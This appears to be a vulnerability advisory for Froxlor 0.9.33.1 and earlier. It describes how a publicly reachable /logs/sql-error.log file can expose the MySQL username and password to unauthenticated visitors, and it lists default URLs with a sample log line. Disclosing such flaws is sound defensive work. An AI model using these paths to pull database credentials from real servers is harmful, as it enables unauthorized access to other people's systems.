An unauthenticated remote attacker is able to get the Froxlor MySQL password and username 
via webaccess due to wrong file permissions of the /logs/ folder in Froxlor version
0.9.33.1 and earlier. The plain MySQL password and username may be stored in the
/logs/sql-error.log file. This directory is publicly reachable by default.

some default URLs are:

- http://example.com/froxlor/logs/sql-error.log
- http://cp.example.com/logs/sql-error.log
- http://froxlor.example.com/logs/sql-error.log

the certain section looks like this:

/var/www/froxlor/lib/classes/database/class.Database.php(279):
PDO->__construct('mysql:host=127....', 'DATABASE_USER', 'DATABASE_PASSWORD', Array)

please note that the password in the logfile is truncated to 15 chars,
therefore passwords longer than 15 chars are not fully visible to an attacker.
